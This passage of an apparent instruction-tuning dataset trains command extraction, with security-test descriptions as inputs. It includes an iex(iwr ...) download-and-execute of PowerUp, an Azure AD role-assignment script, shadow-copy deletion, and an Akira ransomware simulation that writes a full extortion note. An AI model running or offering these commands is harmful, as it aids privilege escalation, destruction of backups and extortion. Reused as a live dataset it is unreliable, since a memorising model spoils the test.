conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Threat actors often target high-privilege Azure AD roles for service principals. To detect such activity, monitor the 'Add member to role' event in Azure AD Audit Logs. The operation can be performed with this command, which requires Privileged Role Administrator or Global Administrator rights: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$sp = Get-AzureADServicePrincipal -Filter \"DisplayName eq \\'#{service_principal_name}\\'\"\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq \\'#{role_name}\\'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.DisplayName)\"",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential\\n\\n$sp = Get-AzureADServicePrincipal -Filter \\\"DisplayName eq '#{service_principal_name}'\\\"\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n$role = Get-AzureADDirectoryRole -Filter \\\"DisplayName eq '#{role_name}'\\\"\\nif ($role -eq $null) { Write-Warning \\\"Role not found\\\"; exit }\\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId\\nWrite-Host \\\"Service Principal $($sp.DisplayName) was added to $($role.DisplayName)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    System information is collected and stored in specific directories when you run the script via the command: wscript.exe C:\\Windows\\System32\\gatherNetworkInfo.vbs",
    "output": "{\"command_list\": [\"wscript.exe C:\\\\Windows\\\\System32\\\\gatherNetworkInfo.vbs\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test enumerates files that have the setuid bit set by using the command: find /usr/bin -perm -4000",
    "output": "{\"command_list\": [\"find /usr/bin -perm -4000\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete Windows Volume Shadow Copies, which is a technique employed by ransomware like Sodinokibi/REvil, use the following PowerShell command: Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}",
    "output": "{\"command_list\": [\"Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the system language, you can use the following command: locale.",
    "output": "{\"command_list\": [\"locale\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script creates 100 random files with the .akira extension in the C: drive and generates the Akira ransom note, which can be executed with the following command: \n1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\"c:\\\\test.$_.akira\", $out) }\necho \"Hi friends\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Whatever who you are and what your title is if you\\' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let\\'s keep all the tears and resentment to ourselves and try to build a constructive dialogue. We\\'re fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won\\'t be able to help.  \" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we\\' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Then all of this will be published in our blog -\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"https://akira.onion\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"5. We\\'re more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"If you\\' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"2. Paste this link - https://akira.onion\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"3. Use this code - - to log into our chat.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Keep in mind that the faster you will get in touch, the less damage we cause\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\n",
    "output": "{\"command_list\": [\"1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\\\"c:\\\\test.$_.akira\\\", $out) }\\necho \\\"Hi friends\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them \\u2014 in this case we won't be able to help.  \\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes \\u2014 generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Then all of this will be published in our blog -\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"https://akira.onion\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"2. Paste this link - https://akira.onion\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"3. Use this code - - to log into our chat.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Keep in mind that the faster you will get in touch, the less damage we cause\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach 